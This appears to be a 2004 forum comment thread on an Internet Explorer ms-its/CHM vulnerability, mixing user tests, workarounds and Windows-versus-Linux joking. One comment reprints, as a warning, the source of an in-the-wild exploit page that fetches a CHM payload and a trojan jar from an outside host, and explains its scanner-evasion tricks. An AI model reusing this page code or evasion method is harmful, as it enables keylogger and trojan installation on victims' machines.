How would Joe Average, Jose Sixpack, Aunt Tillie, your Mom, my Mom, Granma, Grandpa, the children, would react if faced with such arcane, incomprehensible instructions.

In Windows everything is easy, In Windows everything is one click away.

You Linux zealots are the sux0r.

MS Fanboys....

[jotaeleemeese]

Are you happy now, or do we still need to educate you why modularity is a better design compromise?

Thanks to MS decision to embed IE into everything in WIndows makes Windows a breeding ground fro vulnerabilities.

Quick tests on some Windows XP systems

[Kagami001]

I ran a few quick tests on a couple of different Windows XP systems using the proof of concept exploit code here.

---------
Windows XP Professional Service Pack 1

Mozilla Firebird 0.8 run as limited user: no apparent effect
Mozilla Firebird 0.8 run as administrator: no apparent effect

Internet Explorer 6 run as limited user causes an Internet Explorer Script Error:

Line 47, Char: 5, Error: Write to file failed, Code: 0
URL: ms-its:mhtml:file://C:\foo.mht!http://ip3e83566f.s peed.planet.nl/security/newone/modified//EXPLOIT.C HM::/exploit.htm

Internet Explorer 6 run as administrator: demo exploit runs as expected

A software restriction policy is in place on this machine, forbidding the execution of any executable files (including .chm) in any directories except for the ProgramFilesDir and System directories, but, as you can see, it did not stop the sample code from executing when IE was run with administrator privileges.
------------

Windows XP Professional Service Pack 2 RC 1

Internet Explorer 6 run as administrator: no apparent effect

Fixed in SP2?
---------------

One thing that concerns me about using this particular sample code as a test, is that it seems to rely on having write permission to \Program Files, thus requiring administrator privileges (usually) and thus making limited user accounts appear to be invuelnerable -- but are they? Can a version of this exploit be written that runs even if the user does not have write privileges to the program files and system directories? (Thus giving access to all of the limited user's files.) In such a case, would software restriction policies prevent the execution of the exploit exe even if not stopping the script itself?

Joe Sixpack won't use a PC with "Access Denied"

[Vandil X]

Windows XP sets up its users with full administrator privileges by default and without a password.

The simple Control Panel even hides the management interface to make granular security possible.

The truth is, in order for NT to work in consumer homes, it had to behave just like DOS versions of Windows did.

Joe Sixpack may be computer illiterate, but his dollar is what ultimately fills Microsoft's coffers.

Re:Windows has problemss...

[Salsaman]

It turns out that naming things with numbers, letters and seasons must be the most user friendly practice out there.

If this trend continues, their product names will soon be haiku.

Workaround...?

[dargaud]

I don't know about that specific vulnerability, but I always suspected something fishy about the chm files. They can run javascript and whatever else you compile into them with full user priviledge. Yes, I write chm files. I think a workaround is to disable Javascript and other scripting at the local intranet security level in IE options.

Microsoft help?

[kpogoda]

Isn't that an oxymoron? I was reading an interview the other day that Gates has shifted the company's #1 priority from Longhorn to security. This is another major blow for Microsoft. But, since when has the help menu actually ever been useful anyway?

Re:Microsoft help?

[Bambi Dee]

But, since when has the help menu actually ever been useful anyway?

It allows completely innocent newbies to access the Microsoft newsgroups where they might run into "MVP"s with psychic powers who'll help with problems like "im on the computer then erro comes up". I have no idea how they do that.

Big threat? Not really

[Junior J. Junior III]

Considering how seldom the idiot^H^H^H^H^H^H users actually use the help function whre I work, it shouldn't be a problem. It seems they regard the IT Support "Help Desk" as their first place to look when they ought to be using the online Help function in that seemingly invisible menu at the right side of their window.

Works for me and you

[Unknown Poltroon]

But try explaining that to my dad, who cant figure out what program hes sending e-mail from.

In Linux-land...

[gosand]

Imagine teaching your mother to use one account for installs, and another for her email and browsing, then throw in some stuff that will only work under admin and you'll quickly see where this goes.

Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it? Good job. OK, open up a terminal.... it's a command line interface, where you type commands. Much more powerful than a GUI. Where did you save the file? You don't remember? Hmm. Just type "cd". Now type "ls". Do you see the file name? Great! OK, type "tar -zxf "

It didn't work? What does it say? OK. What is the name of the file you downloaded? Oh, well, that is a bzip file, not a tar and gzipped file. So type the same thing as before, but use "bzip2" instead of "tar".

What? Why didn't it work? Oh, it doesn't have the same syntax. Crap. Go to the man page. Oh, man stands for manual. Type "man bzip2". What does it say?

(20 minutes later)

OK, now we have uncompressed the files you need. No, not yet. Type "./configure" No, it's OK, it is figuring out what kind of computer and software you have.

OK, now type "make" OK, call me back when it is done.

(15 minutes later)

OK, now type "make install" What? Why not? What does it say? No, not that. Oh, wait, you have to be root. It is an administrator user.
Because not just everyone can install programs, for security reasons. Look, just change to the admin user by typing "su". OK, now enter the root password. I DON'T KNOW! You mean you don't know your root password?

(10 minutes later)

Mom, you should NOT use the dog's name as the password. Because it is insecure! Nevermind. Just type "make install". There. Now it is installed.

No, there is no icon, you have to type the name of program to run it. Type it. What? I don't know, what was the name of the binary after you compiled it? A binary file is a program you run. You compiled it when you typed "make". Hmm, let's look in the Makefile. Type "vi Makefile". What do you mean it is blank? Oh, wait. Use capital M. Type ":r Makefile" with a capital M.

OK, now you are in vi, the most powerful editor ever. WHAT DO YOU MEAN YOU PREFER EMACS!!!!

Re:In Linux-land...

[cmacb]

"Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it? Good job. OK, open up a terminal...."

Very funny, and very true.

I learned my lesson the hard way. I GAVE someone an older machine fully configured and ready to go with Debian installed. I did this after they constantly complained to me how their two Windows systems were messed up. I suggested that they use Linux to at least do their web browding and e-mail and save the Windows machines for whatever special applications (preferably non-networked) that they had.

Instead, they reformatted the machine and installed Windows on it, and gave it to someone else. Talk about gratitude. I don't think they even bothered to try it.

Needless to say I don't offer much sympathy for them new when they can't get their CD burner to work or they are getting new pop-ups, or they can't turn their machine off because they are afraid that it won't boot right again (a problem they have regularly). "So sorry" I say. I'm just a simple Linux user who doesn't understand that sophisticated Windows stuff.

My rule now is not to help anybody who does not really want to be helped. Give them the system ready to go. Tell then the root password and advise them to either leave it at that or change it and write it down, put it in their wallet if they have to. I'd also set up an alternate account that I can get into (with their permission) using SSH so that I can avoid the type of conversation in your example.

Of course if they were using Suse and the Yast installer they wouldn't have that problem. Or they could use Debian and Kpackage, Lindows and its equivalent, Mandrake and its equivalent. The Linux installers are getting better and better while the Windows stuff is either standing still or taking steps backwards to thwart exposures.

By and large the Aunt Tillies of this world don't install applications anyway. What they want is an Internet appliance, and Linux pretty much gives them that. I think the jury is still out on whether home users in the future will even need an e-mail client program. I already know many who don't know how to read their mail with anything but a web-based interface like Yahoo, and they've never even heard of newsgroups. If Google follows through on their 1-Gig Inbox concept who know, they might offer several Gigs of online hard-drive next. Given that, I'm not sure the average Internet user even needs a real hard drive in their machine. The true internet appliance may be just around the corner, rendering the OS wars moot.

Re:In Linux-land...

[OoSync]

Somewhere in Linux-land, a phone rings....

Hello? Oh, hi mom. Yeah, I can help you install a program on your computer. What do you want to install? Oh, cool. Have you downloaded it?

Okay, hang on for a moment.

$ ssh moms.computer.net

It'll be done in just a sec, Mom!

disabling Help And Support service?

[RowdyReptile]

The code was for IE5, this is very unlikely. And a patch is available, its called shutting off the help sub-system. With Windows 2000 and XP it is a service, one which I never use, although I'm sure some people do.

Is that all you have to do? I just stopped and disabled the "Help and Support" service in WinXP Home. But then when I try "Help and Support" from the Start menu, that service switches itself to Automatic and starts again! Of course I won't be opening H&S any time soon.. but if "disabled" doesn't mean much, will it stop a virus? Or just start itself back up again?

Re:disabling Help And Support service?

[Vancorps]

You need to disable it with the resource kit. Disabling in the services snapin doesn't actually disable the service. I hate that about how its setup, it makes you think disabled is actually disabled but the SYSTEM user can turn it back on at any time even if the user has to change it back to turn it on themself.

This method is more desirable If you disable it for real then as I understand it it would prevent a virus from doing anything.

Re:disabling Help And Support service?

[IceAgeComing]

Windows has this reputation for "it just works!".

Yet the parent's post clearly shows that if you actually have to change anything fundamental, such as Services or Registry cleanups, it's a total fucking nightmare.

No wonder Windows admins get nervous, and sometimes run away screaming from changing Exchange configs, secure file sharing across networks, and nearly daily virus updates.

Am I forgetting anything?

Re:What browser to use?

[Isaac-Lew]

You *may* be vulnerable if you have the network.protocol-handler.external.ms-help parameter in about:config set to true (at least on mozilla 1.7b). The default is false. I'm not able to test this out right now, can anyone verify this?

Spams are using this

[HSpirit]

The other day my boss called me over to check out a suspicious looking email that had made it's way past SpamAssassin. It rendered blank, but looking at the raw message code revealed it was using just this kind of exploit (with a <FORM> to obfuscate what was really happening).

My boss' account has Restricted User privileges, with Eudora as the MUA and Mozilla as the browser, so no panic, but the fact that spammers are already using this is scary.

That doesn't work.

[Ayanami Rei]

Explorer is already running (as your shell) and you can't convince it to restart itself as a different user. What you have to do is kill your existing explorer, (which kills everything including your desktop) then use the task manager to start it again using runas.

The new problem there is your WHOLE DESKTOP is now running as Administrator. Remember to kill it and restart it as yourself when you're done.

Re:That doesn't work.

[afidel]

It doesn't, and is the number one real world reason why runas is all but worthless. If I could really login as a trusted user only when I need to then I would do it that way, but I can't get any real work done like that. If it was as easy to login as a second user as it is with XP's fast user switching then I think you would see a lot more admin's doing it. MS needs to fix fast user switching to work in domain mode for the next client OS if they really want to take a real world step towards better security.

Re:Windows has problemss...

[gotw]

Linux is *not* user friendly, and until it is linux will stay with >1% marketshare.

I was hoping linux would keep its marketshare above 1% anyway.

Meanwhile, in Mandrake-land

[fucksl4shd0t]

Phone rings.

Hi mom. You want to install a program? Ok, what's it called?

Great! Now open a terminal window. It's a command line interface and it's much more powerful than a gui. Got it open? Great. Now you have to become the superuser, so type 'su' and then put in the password.

You don't know your root password? Ask dad.

Ok, great, so now you're root. Now type "urpmi", a space, and the name of the program you wish to install.

It's asking for the CD that contains the program. Put that CD in and follow the directions.

You're done, now? Great! Now just click on your K menu and you should find it under "Applications". You don't have a K menu? You have a little paw. Ok, click the little paw, yes I know it's cute. Found it? Glad to help!

Mozilla not vulnerable

[roca]

Mozilla is not vulnerable.

There are two kinds of protocol handlers in Windows: system-wide and IE-specific. Mozilla supports the system-wide protocols but not the IE-specific protocols. ms-its is an IE-specific protocol.

We should probably take a second look at the system-wide protocols, though. Currently we blacklist some and let the rest through.

Re:Mozilla not vulnerable

[AxelBoldt]

I wonder if people using this Mozilla plugin are vulnerable though.

Re:Windows has problemss...

[nolife]

On the flip side...

How do you get [whatever] to work on Windows.

Step 1: Insert the cd and let autorun take over and do everything for you.

If that does not work or you run into problems during game play, follow this 20 step procedure (if one is even available) and hope you eventually get it to work, if you can not get it to work, too fucking bad.

As an owner of a few EA Games, I've been down that road many times.

Re:Windows has problems...

[HeelToe]

Linux is *not* user friendly, and until it is linux will stay with >1% marketshare.

Take installation. Linux zealots are now saying "oh installing is so easy, just do apt-get install package or emerge package": Yes, because typing in "apt-get" or "emerge" makes so much more sense to new users than double-clicking an icon that says "setup".

I hate to break it to you, but anyone with the attitude you display is the problem, not a lack of user friendliness.

I have used linux since .95pre2 when it was bootstrap your own days. I've used 386bsd/FreeBSD from a similar point in time (since linux had no real networking layer at that point I switched permanently until the past 2 years where I'm again using both for different reasons).

I just did a fedora core 1 install. What a joke! Less questions, less knowledge required than a Windows install.

Even once you get it up and running it is smooth and easy to find what you want, vs. a standard kde install on another distro leaving you 40 choices for each type of functionality you'd like to use.

Here's the problem - any installation is somewhat of a barrier because most people do not install windows themselves - it comes on their computers. The steps being taken by Sun, Lindo(w)s, SuSe, Xandros, and others to get their distros defaulted on budget machines will get the familiarity and ease-of-use out there to the masses.


Linux zealots are far too forgiving when judging the difficultly of Linux configuration issues and far too harsh when judging the difficulty of Windows configuration issues. Example comments:

You're right. A friend is helping me bootstrap debian on a running machine I have nothing but net access to. Obviously a little tricky, but once you understand the basics, it's really reasonably easy. However, most Linux "power-users" would expect everyone to be able to do it.

Your examples with Quake show just why we need a common push for progress in this area, and the individual camps are making great strides, but there's needs to be a more unified effort to get better traction.

Re:Windows has problemss...

[One Louder]

Interesting post, but what has difficulties in installing games on Linux got to do with the fact that Windows has a gaping security hole?

If Linux can't run a particular game out of the box, it doesn't hurt anyone. If Windows has a massive security hole, it costs businesses millions of dollars, clogs up the Internet with traffic, creates opportunities for spammers to make spam zombies, and exposes sensitive private data.

I just don't see how you can compare those two types of problems.

An example in the wild - BE CAREFUL IE USERS

[_pi-away]

I found this page yesterday, it is an exploit of this vulnerability.

WARNING - IF YOU ARE USING IE, THIS PAGE WILL LOAD SERVERAL EXPLOITS INTO YOUR SYSTEM - NOTABLY SHERLOK2.EXE (KEY LOGGER) AND REG33.EXE (DISABLED WINDOWS UPDATE). YOU HAVE BEEN WARNED!

The link is here.
http://hard-virgins.com/sher/test.html

For those who don't want to follow it, here is the page source.

<html><head>
</head><body>
<textarea id="cxw" style="display:none;">
<object data="${PR}" type="text/x-scriptlet"></object>
</textarea>

<script language="javascript">
document.write(cxw.value.replace(/\${PR}/g,'&#109; s-its:mhtml:file://c:\\nosuch.mht!http://hard-virg ins.com/sher/x.chm::/x.htm'));
</script>
<applet width=1 height=1 ARCHIVE=loader.jar code=Counter></APPLET>
</body></html>

This loads and runs the x.chm file from
http://hard-virgins.com/sher/x.chm

and also the loader.jar file from
http://hard-virgins.com/sher/loader.jar

Loader.jar contains the Byte.Verify Trojan to gain full access.

Notice the use ${PR} and then substitution for the exploit code. I don't know exactly why they did that, maybe to stop scanners that check object data. Also note the use of the hex &#109; (m) instead of just the char 'm'. This gives the 'ms-its' type but will get by dumb scanners (read enterprise firewall filters).

I was still pondering why in the world they would be loading a help file when i saw this story, so thanks for ansering my question /.

BTW, if you are running NAV2004 with fairly recent definitions (reg33.exe, sherlok2.exe, and parser.class are fairly old exploits) than norton will stop these exploits from running and delete them, but they still get on your system just fine.

So careful out there, this exploit is dangerous.

Pfft. BS Flag.

[delus10n0]

Name something that SP1 broke that either:

a) Affected you.
or
b) Hasn't been fixed via Hotfix already.

Very curious...

[kikta]

IE 6.0 and Firefox 0.8 do indeed open up a compose email window. Mozilla 1.6, OTOH, just sits there with a broken picture icon.

I'm not sure which is more interesting - that Firefox allows it such a boneheaded thing or that Firefox allows it when Mozilla does not. Aren't both using the same version of Gecko (I'm assuming that this is a function that Gecko would handle)?

Re:Windows has problemss...

[MrNybbles]

To install the Linux version of Heretic II I had to click on some file called setup.sh and it installed. Sure I had to download a patch from www.lokigames.com, but you usually need to do that for Windows games anyway.

My point is that you are blaming Linux for a lousy installer. I have seen some lousy installs in Windows too.

Sure for a Linux Box you need the X Window System installed and setup correctly, but with Windows to run the latest games you need to install the latest video drivers to go with the latest DirectX 9.x you just installed (because Microsoft didn't get it right the firxt 8 times???) Most Windows game installers come bundled with the needed version of Direct X. Maybe linux installers should check that the needed components are installed an configured correctly.

Quake 3 is kind of an extreme example of how dificult too many developers make their installs.

Anonymous Coward wrote,[Q]
So, I guess the point I'm trying to make is that what seems easy and natural to Linux geeks is definitely not what regular people consider easy and natural. Hence, the preference towards Windows.
[/Q]
Double clicking on an icon isn't natural either. For those who have never seen a new computer user learn to use a mouse it goes something like this.

By the way, have you ever tried to setup Windows XP to browse smb shares on a local network when someone has coutomized it so there is not Nework Neighborhood (or whatever it is now called) on the desktop? Windows does it's fare share of stupid things too.

"Now go to My Computer."
*click*
"You need to double click it."
*click* *long pause* *click*
"You need to double click faster than that."
*click* *slightly shorter pause* *click*

Solitaire is a great training tool for those who don't catch on quickly.